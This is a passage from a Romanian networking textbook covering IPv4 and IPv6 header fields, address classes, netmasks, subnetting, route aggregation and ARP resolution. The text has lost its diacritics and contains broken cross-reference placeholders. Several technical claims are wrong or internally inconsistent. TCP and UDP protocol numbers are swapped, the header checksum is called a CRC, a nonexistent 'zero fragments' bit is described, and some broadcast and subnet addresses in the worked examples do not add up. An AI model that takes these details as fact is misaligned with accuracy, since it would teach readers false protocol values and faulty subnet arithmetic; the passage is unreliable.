pe parcursul acestei cri, prin protocolul IP se va subnelge doar referinrea la IPv4.
3.1.1 Structura antetului IPv4
Orice pachet ajuns la nivelul reea este rempachetat, adugndu-i-se antetul IP. n Error!
Reference source not found. sunt prezentate cmpurile ce compun antetul IP, urmnd apoi o
scurt descriere a acestora.
93 | A d r e s a r e a I P



3-1: Structura antetului IP
Din analiza antetului se identific nu mai puin de 10 cmpuri n afara celor ce precizeaz
adresele destinaie i surs. De-a lungul timpului semnificaia acestor cmpuri a fost
redefinit.
Cmpul versiune stabilete versiunea IP folosit, antetul de IPv6 diferind de antetul IPv4.
Lungimea antetului este precizat explicit n cel de al doilea cmp n vederea flexibilizrii
dezvoltrilor ulterioare ale standardului IPv4, prin setri fcute n cmpul de opiuni aflat n
finalul antetului IP. Totui vasta majoritate a traficului n Internet folosete antete de lungime
fix, de 20 de octei, performanele de referin ale echipamentelor de reea (precum numrul
de pachete comutate pe secund) fiind calculate pentru trafic IP cu antet de lungime fix.
Cmpul TOS (Type of Service) este folosit pentru implementarea unor politici distincte
pentru tipuri de trafic diferit. Cea mai important utilizare a sa este pentru identificarea i
prioritizarea traficului de voce.
Cmpul de lungime total este exprimat pe 16 bii, rezultnd o dimensiune maxim a
cadrelor IP de 65535 de octei. Dup cum se poate observa din capitolul 7 *ref+??, nu exist o
dimensiune maxim pentru segmentele TCP, cea ce nseamn c segmentele ce depesc 64
KB vor fi fragmentate la nivelul reea. Dei dimensiunea maxim prevzut de standard este
de 64KB, impunerea Ethernetului ca tehnologie dominant pentru reelele locale are drept
consecin faptul c traficul TCP, dup ce este segmentat n pachete de 64 KB la nivelul 4, va
mai fi nc odat segmentat n cadre de 1500 octei la nivelul 3. Pentru a reduce complexitatea
prelucrrilor asupra pachetelor, implementrile curente ale stivei TCP/IP evit s realizeze
dou operaii de fragmentare, impunnd ca dimensiune maxim a cadrelor IP 1500 B i nu 64
KB.
Mecanismul de secveniere a cadrelor reprezint principalul mecanism de control al
fluxului n TCP; cu toate acestea, se observ c un mecanism de secveniere exist i la nivelul
antetului IP. Cmpul identificator stabilete numrul datagramei i este folosit n conjuncie cu
cmpul decalaj fragment pentru a reordona cadrele IP ajunse ntr-o alt ordine dect au fost
transmise. Ambele cmpuri sunt n general stabilite de staia ce emite pachetul, dar dac pe
calea ctre destinaie mai are loc o fragmentare a pachetului valorile lor vor fi modificate.
Biii de opiune sunt folosii tot pentru a controla fragmentarea. Spre exemplu, bitul 50 din
antetul IP este denumit bitul M sau bitul more fragments. Acesta indic faptul c a avut loc o
fragmentare i c pachetul de fa nu este ultimul din cadrul segmentului TCP. Bitul 51 este
denumit Z sau bitul zero fragments i are rolul de a semnaliza c pachetul actual este ultimul
(sau singurul) din segmentul TCP.
Un cmp important din antetul IP este TTL (Time To Live), cmp ce definete numrul
maxim de routere prin care un pachet poate s treac. Principala sa funcie este de a evita
0 4 8 16 19
31
vers lung. TOS Lungime total
identificator flags decalaj
fragment
TTL Protocol suma de control a
antetului
Adresa IP surs
Adresa IP destinaie
Opiuni (dac e cazul)
Date
...
94 | R e e l e L o c a l e

ciclarea la infinit a unor pachete IP n cazul unor topologii cu bucle de rutare. O utilizare mai
recent a acestui cmp permite unui ISP s controleze conectarea unei staii, pentru o
legtur dat. De exemplu, un ISP poate ntrerupe conectivitatea atunci cnd pe o legtur n
loc de o staie se conecteaz neautorizat un router ce are n spate o ntreag reea local.
Marea majoritate a traficului n Internet cltorete ntre surs i destinaie pstrnd
aceleai valori pentru cmpurile antetului IP, sigurul cmp modificat fiind cmpul TTL. Dei
operaia de decrementare a valorii cmpului TTL este una simpl, ea determin o ncrcare
semnificativ a routerului, deoarece n urma modificrii acestui cmp va trebui s fie
recalculat i suma de control a antetului. Suma de control se bazeaz pe un algoritm de
redundan ciclic (un algoritm CRC) ce are proprietatea c se poate verifica uor, dar se
calculeaz mult mai greu (verificarea se poate efectua fr a calcula explicit valoarea sumei de
control).
Cmpul protocol specific ce protocol a fost folosit pentru ncapsularea de nivel transport.
n figura de mai jos sunt prezentate cteva dintre valorile cele mai ntlnite ale acestui cmp.
Valorile 4 i 41 sunt folosite n cazul tunelrii iar valoarea 59 este folosit pentru a indica c nu
mai exist un alt antet, o astfel de conexiune fiind numit IP raw.

Valoare Protocol

1
ICMP

4
IPv4

6
UDP

17
TCP

41
IPv6

59
Fr antet
3-2: Valorile cmpului protocol pentru antetul IP
3.1.2 Structura antetului IPv6
Protocolul IPv6 este standardizat prin RFC 2460, cele mai importante dou diferene fa
de IPv4 fiind lungimea fix a antetului de 40 de octei i eliminarea sumei de control a
antetului.
Din structura unui pachet IPv6 se observ c cinci dintre cmpurile antetului IPv4 nu se
mai regsesc n antetul de IPv6: lungimea antetului, identificatorul de secven, bii de control,
decalaj fragment, suma de control a antetului.
Se observ c toate mecanismele de fragmentare din antetul IPv4 au fost eliminate. IPv6
realizeaz fragmentarea precum i alte funcii prin folosirea unor antete de extensie.
Precizarea tipului de antet de extensie folosit se face prin cmpul Antet urmtor (Next
Header), cmp ce folosete aceleai valori ca i cmpul Protocol din antetul IPv4 (vezi Error!
Reference source not found.). Valoarea 43 a acestui cmp indic existena unui antet IPv6 de
fragmentare dup antetul curent.
Eliminarea sumei de control din antet este motivat de numrul mult mai mic al erorilor n
reelele actuale (n urma trecerii de la legturile de cupru la cele optice sau prin folosirea
cablurilor de cupru de o calitate mai bun). Rezultatul acestei modificari este creterea vitezei
de prelucrare a antetului de reea, deoarece nu mai este necesar calcului sumei de control la
fiecare modificare a cmpului limit hopuri (echivalentul cmpului TTL din Ipv4).

95 | A d r e s a r e a I P


3-3: Structura antetului IPv6
Singurul cmp din antetul IPv6 ce nu are un echivalent n antetul IPv4 este cmpul
Etichet de flux. Acest cmp permite routerelor s comute cadrele pe baza unei valori de 20
de bii i nu pe baza adresei destinaie. Aceast metod de comutare (folosind doar o etichet
de 20 de bii), nlesnete implementarea reelelor IPv6/ MPLS (MultiProtocol Label Switching).
3.1.3 Clase de adrese
O adres IP este un ir de 32 de bii ce identific dou lucruri: o reea i o staie n cadrul
acelei reele.
Pentru a simplifica utilizarea adreselor IP se folosete formatul decimal. Astfel, o adres IP
dat: 10110001000001000001011000001000, se mparte mai nti n grupuri de cte 8 bii:
10110001.00000100.00010110.00001000 i apoi fiecare grup este convertit n sistem zecimal:
177.4.22.8.
Dei aceast nou exprimare nlesnete semnificativ lucrul cu adrese IP, aduce i unele
limitri n uurina de a discerne poriunea de reea i cea de staie din cadrul adresei IP,
pentru cazurile n care sunt definite subreele. ncercarea de a pstra reprezentarea zecimal
ca model de referin pentru IP i, n acelai timp de a pune n eviden distincia dintre cele
dou componente a dus la definirea claselor de adrese IP.
Odat cu definirea primelor trei clase pentru rutare a mai fost definit un spaiu de adrese
folosit pentru adresarea multicast, anume clasa D. Restul adreselor vor constitui clasa E,
reprezentnd adrese rezervate. n 3-1 sunt prezentate cele cinci clase definite pentru spaiul
de adrese IP.

Clasa Primii bii
Nr. bii
reea
Nr. de
reele
Nr. bii
staie
Nr. staii
Domeniul de
valori
A
0 8 2
7
24 2
24
-2
1.0.0.0
126.255.255.255
B
10. 16 2
14
16 2
16
-2
128.0.0.0
191.255.255.255
C
110 24 2
21
8 2
8
-2
192.0.0.0
223.255.255.255
D 1110 Adrese multicast
E 11110 Rezervat
3-1: Spaiul de adrese IP
vers clas trafic Etichet de flux
Lungime date Antet urm. Limit hopuri
[ 3 x 32 ]
[ 3 x 32 ]
Date
...
Adresa IPv6 surs
Adresa IPv6 destinaie
96 | R e e l e L o c a l e

Clasa A a fost proiectat pentru a satisface cerinele ridicate de reelele de mari
dimensiuni. Astfel, pentru definirea reelei va fi folosit doar primul octet, pentru identificarea
staiei fiind disponibili 24 de bii, ceea ce ofer mai mult de 16,7 milioane de posibiliti. n
figura de mai sus se poate observa c domeniul de valori pentru clasa A nu include reelele
0.0.0.0 i 127.0.0.0, acestea fiind rezervate. Clasa de adrese 0.0.0.0 nu este folosit datorit
posibilelor confuzii cu rutele implicite, n vreme ce clasa 127.0.0.0 este rezervat pentru
adrese de loopback, n scopul monitorizrii i testrii.
Tot din 3-1 se observ eliminarea a cte dou adrese dintre cele ce pot fi alocate staiilor,
pentru fiecare dintre clasele rutabile. Cele dou adrese sunt: adresa de reea i adresa de
difuzare.
O adres IP de reea este o adres pentru care toi biii de staie sunt 0.
O astfel de adres este folosit pentru identificarea ntregii reele. Aceasta este, de fapt,
partea relevant a oricrei adrese de staie ce cltorete peste Internet pentru toate
routerele de pe parcurs.
O adres IP de difuzare sau adres de broadcast este o adres pentru care toi biii de
staie sunt 1. Un pachet destinat unei astfel de adrese va ajunge la toate staiile din acea
reea.
O clas de adrese B este definit de valorile primilor doi bii din adresa IP, aceti primi doi
bii fiind 10. Din aceast constrngere rezult c toate adresele IP ale cror prim octet se afl
ntre 10000000 i 10111111, adic ntre 128 i 191, aparin unei clase B.
Cmpul de reea pentru o clas B va cuprinde primii doi octei, dar deoarece primii doi bii
ai primului octet sunt fixai, rmn doar 14 bii disponibili pentru a crea clase B. Pentru
definirea staiilor sunt folosii ultimii doi octei, adic 16 bii. Astfel pot fi obinute 16.384
reele, fiecare avnd un numr maxim de 65.533 de staii.

Clasa A Reea Staie
1 2 3 4

Clasa B Reea Staie
1 2 3 4

Clasa C Reea Staie
1 2 3 4

Clasa D Staie
1 2 3 4
3-2: Adresarea IP
Clasa C se definete prin alocarea primilor 3 octei pentru definirea reelei i doar a
ultimilor 8 bii pentru identificarea staiilor din aceeai reea. Primii trei bii din primul octet
trebuie s fie 110, adic valoarea acestui prim octet trebuie s se afle ntre 192 i 223 pentru
ca o adres s aparin unei clase C.
Numrul reelelor de clas C depete 2 milioane, fiecare dintre acestea putnd s
cuprind 254 de staii.
Clasa de adrese D este folosit pentru reele multicast. n decursul ultimilor 15 ani au
existat numeroase standarde i propuneri de standardizare pentru asigurarea unei
97 | A d r e s a r e a I P

infrastructuri de multicast, dar realitatea anului 2008 este c traficul de multicast reprezint
doar o foarte mic poriune din traficul transferat n Internet. Cu toate acestea, convergena
reelelor de date cu cele de telefonie sau de televiziune ofer o not de optimism n legtur
cu viitorul comunicaiilor multicast. n Romania abia n anul 2006 a devenit disponibil
comercial serviciul de trasmisiuni de multicast, un singur ISP oferind n acest moment acces la
un M-Bone naional.
Pentru adresa multicast spaiul de adrese este plat, toi cei 4 octei fiind folosii pentru
definirea adresei de staie. Deoarece primii 4 bii ai primului octet sunt fixai, i anume 1110,
numrul adreselor de multicast este de 268 milioane. Cu toate acestea au fost definite mai
multe regiuni disjuncte, regiuni menite s serveasc obiective diferite: de la asigurarea
integrrii cu o infrastructur de unicast, pn la definirea unor spaii de adrese de multicast
private. Primele 256 de adrese (cele cuprinse ntre 224.0.0.0 i 224.0.0.255) sunt definite ca
aparinnd zonei Local Network Control Block, aceastea fiind adresele folosite i de
protocoalele de rutare: spre exemplu OSPF rezerv dou dintre aceste adrese de multicast:
224.0.0.5 i 224.0.0.6 pentru procesul de alegere a routerului desemnat, iar RIPv2 folosete
adresa 224.0.0.9 pentru trimiterea actualizrilor.
Clasa de adrese E este rezervat i nu poate fi folosit n reelele publice sau n soluii de
multicast.
3.1.4 Masca de reea
Prin folosirea celor 3 clase rutate eficiena utilizrii spaiului de adrese IPv4 este una
extrem de redus. Spre exemplu, pentru o reea cu 4 noduri va fi alocat o clas C, pierzndu-
se asftfel 250 de adrese. n cazul unei reele de 300 de noduri alocarea unei clase B duce la
pierderea a mai mult de 65.000 de adrese, i chiar prin reproiectarea reelei i separarea sa n
dou reele, se vor folosi dou clase C, cea ce va duce la pierderea a peste 200 de adrese.
Protocolul IP impune ca orice adres s conin dou informaii: o adres de reea i
adresa unei staii din cadrul acelei reele. Separarea celor dou cmpuri nu trebuie s apar la
grania de octet. Pentru determinarea biilor ce definesc adresa de reea se folosete un ir de
32 de bii denumit masc de reea.
Masca de reea este un ir de 32 de bii care, n conjuncie logic cu o adres IP, separ
adresa de reea, anulnd biii de staie.
Fiecare bit din masca de reea ce corespunde (adic se afl pe aceeai poziie) cu un bit
din cmpul de reea are valoare 1, n vreme ce toi biii corespunztori cmpului de staie au
valoarea zero.
Exprimarea mtii de reea poate fi realizat n forma zecimal sau sub forma unui prefix
de reea. n cazul exprimrii zecimale cei 32 de bii sunt separai n grupuri de 8, apoi
realizndu-se conversia n zecimal. Procesul este unul similar cu exprimarea zecimal a
adresei IP.
O alt reprezentare a mtilor de reea este sub forma unui numr care indic numrul de
bii de 1 consecutivi din masca de reea. Acest tip de reprezentare poart numele de prefix de
reea.
Pentru exemplificare, fie adresa IP: 141.85.37.133 i masca: 255.255.240.0. Masca de
reea este echivalent cu prefixul /20. Pentru aceast exemplu cmpul de reea va cuprinde
primii 20 de bii, iar cmpul de staie ultimii 12. Adresa reelei se obine prin operaia de I
logic ntre masc i adresa IP: 141.85.32.0/20.
Adresa de difuzare se obine prin completarea tuturor biilor din cmpul de staie cu valori
de 1. Adresa de difuzare va fi: 141.85.63.255/20.
98 | R e e l e L o c a l e

Pentru aceeai adres, dar folosind prefixul /26 adresa de reea ar fi: 141.85.37.128/26, iar
adresa de difuzare: 141.85.37.191/26.

reea staie
1000 1101.0101 0101.0010 0101.10 00 0101 - 141.85.37.133
1111 1111.1111 1111.1111 1111.11 00 0000 255.255.255.192 - /26
---------------------------------------
1000 1101.0101 0101.0010 0101.10 00 0000 141.85.37.128/26 - reea
1000 1101.0101 0101.0010 0101.10 11 1111 141.85.37.191/26 - difuzare
Este important de observat c aceai adres poate fi adres de staie sau adres de
difuzare n funcie de masca de reea aleas.
3.1.5 Subreele
Totalitatea nodurilor ce pot comunica ntre ele folosind dispozitive de nivel fizic i legtur
de date (de exemplu: repetoare i switchuri) definesc o reea local. Altfel spus, o reea local
va cuprinde totalitatea echipamentelor de reea ce pot comunica fr intermedierea unui
router.
O reea local coincide cu un domeniu de difuzare. Astfel, toate staiile din aceai reea
local vor primi pachetele de broadcast.
Din motive de securitate, dar i pentru optimizarea consumului de band n cadrul unei
reele locale, un administrator poate decide separarea unor seciuni din reea n subreele
diferite. Pentru asigurarea adresrii va trebui s mpart spaiul iniial de adrese n mai multe
seciuni disjuncte.
Atenie! Distinia ntre reele i subreele este una pur istoric. Reele erau
denumite doar spaiile de adrese ce corespundeau claselor A, B i C. n prezent noiunile sunt
folosite interschimbabil.
Pentru a mpri spaiul de adrese 144.1.40.0/21 n dou jumti se pornete de la
reprezentarea binar a spaiului iniial, apoi sunt delimitate cmpurile de reea i staie. Din
cmpul de staie vor fi marcai un numr de bii pentru definirea de subreele. Aceti bii vor
defini un nou cmp numit cmp de subreea.
reea staie
10010000.00000001.00101 000.0000 0000 - 144.1.40.0/21
10010000.00000001.00101 000.0000 0000 - 144.1.40.0/22 -prima subreea
10010000.00000001.00101 100.0000 0000 - 144.1.48.0/22 -a doua subreea

subreea
Pentru a mpri spaiul 144.1.48.0/22 n 5 subreele, se caut cea mai apropiat putere a
lui 2 egal sau mai mare cu numrul de subreele cutat. Astfel pentru a obine 5 subreele va
trebui s mprim spaiul de adrese n 8 seciuni egale. Prefixul de reea pentru fiecare dintre
cele 8 subreele va fi /25, adic prefixul spaiului iniial la care se adaug numrul de bii
necesar pentru a reprezenta cele 8 valori diferite.
reea staie
10010000.00000001.001011 00.0000 0000 - 144.1.40.0/22
10010000.00000001.001011 00.0000 0000 - 144.1.40.0/25 prima subreea
10010000.00000001.001011 00.1000 0000 - 144.1.48.0/25 a doua subreea
[...]
10010000.00000001.001011 11.1000 0000 - 144.1.48.0/25 a opta subreea

subreea
99 | A d r e s a r e a I P

O dezbatere nc ntlnit n recomandrile legate de alocarea adreslor IP este cea
referitoare la folosirea primei i ultimei subreele. n lipsa precizrii mtii de reea, adresa
primei subreele poate fi confundat cu adresa spaiului iniial. n mod similar adresa de
difuzare a ultimei subreele poate fi confundat cu adresa de difuzare a spaiului iniial. Pentru
exemplu de mai sus 144.1.48.0 poate fi ori adresa de reea iniial, dac prefixul este /22, ori
prima subreea, dac prefixul este /25. Adresa 144.1.51.255 este adresa de difuzare pentru
ntreg spaiul iniial pentru prefixul /22, sau adresa de difuzare a ultimei subreele pentru /25.
Din pcate, evitarea folosirii primei i a ultimei subreele duce la o pierdere nsemnat de
adrese. Astfel, soluia cea mai rspndit n reelele actuale este de a folosi prima i ultima
subreea, dar cu precizarea prefixului (sau a mtii de reea) pentru orice adres IP.
3.1.6 Super-reele
Dimensiunea tabelei de rutare afecteaz att latena procesului de gsire a cii optime,
ct i resursele hardware necesare pentru router (memorie, procesor). Pentru reducerea
numrului de rute se poate folosi procesul de agregare a spaiilor de adrese.
Agregarea de adrese este procesul invers mpririi n subreele.
n exemplul de mai jos sunt prezentate 4 spaii de adrese alese special ca s difere doar
prin cei mai puin semnificativi doi bii ai cmpului de reea.
reea staie
1011 1110.0001 0100.0000 0100.0000 0000 - 190.20.4.0/24
1011 1110.0001 0100.0000 0101.0000 0000 - 190.20.5.0/24
1011 1110.0001 0100.0000 0110.0000 0000 - 190.20.6.0/24
1011 1110.0001 0100.0000 0111.0000 0000 - 190.20.7.0/24
-------------------------------------------------------
1011 1110.0001 0100.0000 0100.0000 0000 - 190.20.4.0/22
3-6: Agregarea a 4 clase C
Cele 4 clase din tabel sunt n fapt sferturile unui singur spaiu de adrese. Adresa agregat,
sau super-reeaua ce cuprinde cele 4 clase, se obine n acest caz reducnd masca de reea cu
doi bii. Aceti doi bii vor fi fcui zero, trecnd n cmpul de staie, pentru a determina
adresa de reea agregat.
Este important de precizat c dei 190.20.4.0/22 este un spaiu valid de adrese, nu poate fi
folosit pentru alocarea de adrese ntr-o singur reea. n alocarea adreselor nu se pot folosi
super-reele ale celor 3 clase rutate. Astfel, 140.20.4.0/22 este o subreea din reeaua de clas
B 140.20.0.0/16 i poate fi folosit pentru alocarea ntr-o singur reea, dar 190.20.4.0/22 este
o super-reea ce cuprinde 4 clase C, iar adrese din acest spaiu pot fi alocate numai dup o
mprire n subreele.
Prefixul unei adrese IP valide nu poate fi mai mic dect prefixul clasei din care face parte
respectiva adres.
Nu orice dou reele pot fi agregate ntr-o super-reea. Astfel, pentru a putea profita de
aceast facilitate adus de VLSM, alocarea adreselor trebuie fcut judicios nu doar n
interiorul reelei de ctre administratorul de reea, ci i la nivelul ISP-urilor i chiar la nivel de
ar. Din pcate, n Romnia avantajele reducerii tabelelor de rutare prin agregarea reelelor,
ca o consecin a alocrii planificate a adreselor de reea, au fost contientizate extrem de
trziu, astfel nct n tabelele de rutare ale marilor ISP-uri din Romnia mai frecvent se
ntlnesc prefixe de /26 dect prefixe /20, cum ar fi fost de ateptat la o ar de dimensiunile
Romniei.
100 | R e e l e L o c a l e

3.1.7 ARP
n prezent protocolul de rezoluie a adresei ARP este vzut adesea ca o component
esenial a arhitecturii TCP/IP, dar lucrurile nu au stat dintotdeauna aa. nceputul anilor 80 a
reprezentat o perioad marcat de incertitudini n ceea ce privete standardizarea
protocoalelor pentru reelele de calculatoare. Dac la nivelul reelelor locale IEEE a reuit s
reduc alegerea la trei standarde: Ethernet, Token Ring i Token Bus, comunicaia ntre aceste
reele trebuia asigurat ori de IP ori de CLNS (Connectionless Network Service). Nici anii ce au
urmat nu au impus protocolul IP ca principalul ctigtor la nivelul reea de la nceputul anilor
90, competiia desfurndu-se ntre IP i IPX sau Apple Talk.
Pentru legturile punct-la-punct nu exist nicio diferen ntre comunicaia unicast i
broadcast. Din acest motiv, pentru legturile punct-la-punct nu este necesar un mecanism
pentru determinarea adresei de nivel 2, folosindu-se doar adresa de difuzare. Ethernetul este
ns un mediu multiacces, putnd exista mai multe destinaii n cadrul aceleai reele locale.
ARP a fost standardizat de IETF n 1982 prin RFC 826 i reprezint mecanismul pentru
asigurarea comunicaiei unicast ntr-o infrastructur multiacces. Astfel, ARP i-a propus s
ofere modalitatea de asociere a unei perechi <adres de reea, protocol de reea> cu o adres
unic de nivel legtur de date. Dei standardul prevede posibilitatea funcionrii ARP n
conjuncie cu o varietate de protocoale de nivel reea, n practic acesta a devenit o
component integrant a stivei de protocoale TCP/IP/Ethernet. Prin urmare, principala
aplicabilitate a protocolului ARP a fost i rmne determinarea corespondenelor ntre
adresele IP i adresele MAC.
ARP se bazeaz pe construirea i meninerea unei tabele ARP. O tabel ARP are rolul de a
pstra corespondenele nvate ntre adresele IP i cele MAC. Acestea sunt construite dinamic
i sunt stocate n memoria RAM. Dei exist mecanisme pentru adugarea static sau
eliminarea unei intrri ntr-o tabel ARP, sunt rare situaiile n care un administrator de reea
va apela la ele.
Fiecare computer sau dispozitiv de reea i pstreaz propria sa tabel ARP, n realitate
existnd cte o tabel ARP pentru fiecare interfa activ. Astfel, un router cu trei interfee
Ethernet va menine trei tabele ARP distincte.
Cum funcioneaz ARP? Cum este construit tabela ARP?
Pentru a realiza configuraiile de reea ale unei staii vor trebuit precizai minim patru
parametri: adresa IP a staiei, masca de reea, adresa routerului implicit (default gateway) i
adresa IP a serverului de DNS.
Serverul de DNS este folosit pentru a obine adresa IP a destinaiei pornind de la numele
acesteia, spre exemplu o interogare de DNS va indica faptul c www.cs.pub.ro este asociat cu
adresa 141.85.37.5.
Datele de la nivelul aplicaie vor fi prelucrate n conformitate cu operaiile specifice
nivelurilor prezentare i sesiune (dac e cazul) dup care vor fi ncapsulate la nivelul transport,
precizndu-se cel mai adesea tipul serviciului (portul surs, portul destinaie). Urmeaz
ncapsularea nivelului reea care va ataa antetul IP, antet ce va conine informaiile legate de
adresa IP surs i adresa IP destinaie, aceasta din urm fiind n general obinut n urma unei
rezoluii de DNS. Pentru construirea antetului de nivel legtur de date va trebui determinat
adresa MAC destinaie.
Adresele de nivel legtur de date au relevan local, nu i relevan global precum
adresele de nivel reea. Din acest motiv adresa MAC destinaie din antetul de nivel doi va fi
aceeai cu adresa MAC a destinaiei doar n cazul n care aceasta se afl n aceeai reea local.
Altminteri, din punctul de vedere al reelei locale, adresa MAC destinaie va fi adresa primului
101 | A d r e s a r e a I P

router ctre destinaie, deoarece orice router va mrgini reeaua local. Astfel, nainte de a
cuta n tabela ARP, va trebui determinat care este urmtoarea destinaie.
Pentru primul pas n procesul de rezoluie a adresei va trebui determinat dac destinaia
se afl n aceai reea local. Pentru aceasta se aplic masca de reea att adresei destinaie
ct i adresei surs, iar dac rezultatele operaiilor de I logic coincid, se va considera c sursa
i destinaia se afl n aceai reea local. n cazul acesta n tabela ARP va fi cutat direct
adresa MAC a destinaiei, pornind de la adresa IP destinaie. Dac tabela ARP nu conine nicio
intrare asociat cu adresa IP destinaie, nodul surs va temporiza (ntrzia) ncapsularea
datelor i va crea un cadru nou, numit cerere ARP. Acest nou cadru va fi un cadru de difuzare
la nivel legtur de date (deoarece adresa MAC a destinaiei nu este cunoscut), dar va avea n
cmpul de date informaii despre adresa IP destinaie. Nodul destinaie va identifica cadrul
drept o cerere ARP, i va actualiza mai nti tabela proprie, iar apoi va trimite un cadru, numit
rspuns ARP, ce va fi unicast att la nivel legtur de date, ct i la nivelul reea. Pe baza
acestui cadru sursa i va actualiza propria tabel ARP va ncapsula antetul de nivel legtur de
date i va trimite cadrul.

3-7: Studiul ARP
Pentru mai mult claritate se va folosi folosi topologia din figura de mai sus pentru a
urmri construirea tabelelor ARP.
nainte de trecerea la nivelul legtur de date, adresa IP destinaie va fi cutat n tabela
ARP i nefiind gsit se va crea un cadru special (o cerere ARP) ce va avea n cmpul adres
destinaie din antet adresa de difuzare: FF.FF.FF.FF.FF.FF, iar n cmpul adres surs adresa
MAC a staiei A1. n figura de mai jos este prezentat structura acestui cadru

Antet Date
MAC dest. MAC
surs
Tip cadru cod
operaie
MAC
surs
IP surs MAC dest. IP dest
FFFF:
FFFF:
FFFF
0C18:
7A11:
7111
0x0806 1 0C18:
7A11:
7111
193.23.
1.4
0000:
0000:
0000
193.23.
1.7
3-8: Cerere ARP
Dac se va considera c reeaua din figur folosete Ethernet drept protocol de nivel
legtur de date, datele vor fi difuzate i vor ajunge la A2, la A3 i la interfaa routerului
conectat la segmentul A. Antetul cadrului va fi analizat la nivelul legtur de date de ctre
toi receptorii aflai n acelai domeniu de difuzare. Cmpul destinaie fiind o adres de
difuzare, cadrul va fi trimis la nivelul superior. Cadrul este identificat drept o cerere ARP i
102 | R e e l e L o c a l e

doar staia (interfaa de reea) a crei adres IP se regsete n cmpul de date al cadrului va
iniia un rspuns transmis ca unicast att la nivel reea, ct i la nivel legtur de date.
Totodat, pe baza coninutului cmpului de date din cadrul de cerere ARP va fi creat prima
intrare n tabela ARP a staiei care s-a recunoscut ca i destinatar (n cazul de fa, A2).

Antet Date
MAC
dest.
MAC
surs
Tip cadru cod
operaie
MAC
surs
IP surs MAC
dest.
IP dest
0C18:
7A11:
7111
0C18:
7A92:
711B
0x0806 2
0C18:
7A92:
711B
193.23.
1.7
0C18:
7A11:
7111
193.23.
1.4
3-9: Rspuns ARP
Dup primirea rspunsului, A1 va putea insera n tabela sa ARP adresa MAC a lui A2, iar
comunicaia din acest moment va decurge fr probleme.
Fiind pe un segment Ethernet, toate cadrele schimbate de A1 i A2 vor ajunge la toate
staiile de pe segment, astfel c, dei nu au emis niciun cadru, att A3 ct i routerul vor primi
att cererea ARP, ct i rspunsul. Cu toate acestea, nici cererea ARP, nici rspunsul nu vor
duce la actualizarea tabelei ARP, cele dou cadre fiind ignorate. Astfel tabelele celor dou
dispozitive rmn vide.
Protocolul ARP este un protocol de nivel legtur de date, iar pachetele sale sunt
identificate folosind valoarea 0x0806 n cmpul Lungime/Tip. Aceast valoare este mai mare
dect 0x0800, cmpul Lungime/Tip identificnd tipul protocolului de nivel 2 i nu lungimea
cadrului.
Cmpul cod operaie din zona de date a cadrului ARP poate avea doar patru valori, dou
folosite de protocolul ARP i dou de RARP. Astfel pentru valoarea 1 i 2 cadrul este
interpretat ca o cerere, respectiv rspuns ARP, iar pentru valorile 3 i 4 este interpretat ca o
cerere, respectiv rspuns RARP.
Dup popularea tabelei ARP va fi creat i antetul de nivel legtur de date al cadrului ce
trebuia transmis iniial, dup cum este prezentat i n 3-.

Antet 2 Antet 3 Date
MAC
dest.
MAC
surs
Tip cadru IP dest IP surs
0C18:
7A92:
711B
0C18:
7A11:
7111
0x0800 193.23.
1.7
193.23.
1.4

3-10: Cadrul de date
Cum are loc comunicaia ntre staii aflate n reele diferite?
S-a vzut c protocolul de rezoluie a adresei se bazeaz pe difuzri la nivel legtur de
date. Routerele n schimb nu propag pachetele de difuzare de nivel legtur de date n afara
reelei din care provin.
Revenind la primul pas al protocolului ARP, i anume la testul apartenenei la aceeai
reea a adresei IP surs i a adresei IP destinaie. Cu alte cuvinte, dac rezultatul operaiei de
I logic ntre adresa surs i masca de reea difer fa de rezultatul operaiei de I logic ntre
adresa destinaie i aceai masc de reea, se concluzioneaz c sursa i destinaia se afl n
reele diferite. n acest caz, n antetul de nivel 2 va trebui precizat adresa urmtorului router
103 | A d r e s a r e a I P

aflat pe calea ctre destinaie, altfel spus, adresa routerului implicit (default gateway). Dac n
tabela ARP nu exist o intrare pentru routerul implicit, atunci va fi trimis un cadru cerere ARP,
pe adresa de difuzare de nivel 2, pentru a afla adresa IP a routerului implicit. Acesta va
rspunde cererii, cu un cadru unicast ce va fi folosit pentru actualizarea tabelei ARP pe staia
surs. n cele din urm va fi construit antetul de nivel 2 pentru cadrul de date, astfel nct
adresa IP destinaie va fi adresa IP a destinaiei finale, dar adresa MAC destinaie va fi adresa
MAC a routerului implicit.
n cazul reelei de mai sus se consider c staia A1 vrea s comunice cu B1. Dup operaia
IP(A1)&masc(A1) = IP(B1)& masc(A1), se determin c B1 nu se afl n aceai reea local.
Astfel A1 va cuta n tabela ARP o coresponden pentru adresa routerului implicit, adic
pentru 193.23.1.1. Dac aceast coresponden nu exist, va trimite un cadru de cerere ARP
dar care va avea precizat n cmpul de date ca adres IP destinaie 193.23.1.1. Cadrul fiind
unul de difuzare, va fi recepionat de ctre toate dispozitivele de reea aflate pe acest
segment. A2 i A3 vor ignora cadrul, deoarece acesta va avea precizat ca adres IP destinaie
alt valoare dect adresele lor. Routerul va trimite un cadrul de rspuns ARP similar cu cel din
3-*ref+, n care MAC surs va fi: 00.48.0C.18.7A.A2, iar IP surs va fi 193.23.1.1.
Pe baza cadrului de cerere ARP, routerul i va actualiza propria tabel ARP
corespunztoare interfeei dinspre segmentul A, iar apoi pe baza cadrului de rspuns A1 i va
aduga n tabela ARP o intrare nou, ce face corespondena ntre 193.23.1.1 i adresa MAC a
interfeei routerului: 00.48.0C.18.7A.A2. Din acest moment staia A1 va ncapsula transmisia
destinat staiei B1 folosind adresa IP a lui B1 (24.8.17.2) i adresa MAC a interfeei e0 a
routerului (00.48.0C.18.7A.A2).
Adresa destinaie va folosi routerului pentru a determina interfaa pe care trebuie trimis
pachetul i astfel procesul de rutare va determina c pachetul trebuie trimis pe interfaa e1 a
routerului. Routerul va face mai nti testul dac interfaa pe care trebuie trimis pachetul este
n aceai reea cu destinaia final a pachetului. n cazul de fa IP(e1)&masc(e1) va da acelai
rezultat cu IP(B1)&masc(e1), astfel va fi cutat n tabela ARP a interfeei e1, o
coresponden pentru adresa IP a lui B1. Dac aceast coresponden nu exist va fi trimis o
cerere ARP ce va conine adresa IP destinaie a staiei B1 (a destinaiei finale).
Dac n schimb B1 nu ar fi fost n aceai reea cu interfaa e1, ar fi fost extras din ruta
folosit adresa urmtorului hop, i cutat n tabela ARP o coresponden pentru adresa
urmtorului hop.
Pentru topologia din figur*ref+, n urma a dou procese de cerere/rspuns ARP i o
rescriere a antetului de nivel 2 operat de router, pachetul va ajunge la destinaie, aceast
comunicaie simpl fiind realizat prin trimiterea a nu mai puin de 6 cadre cu antete de nivel
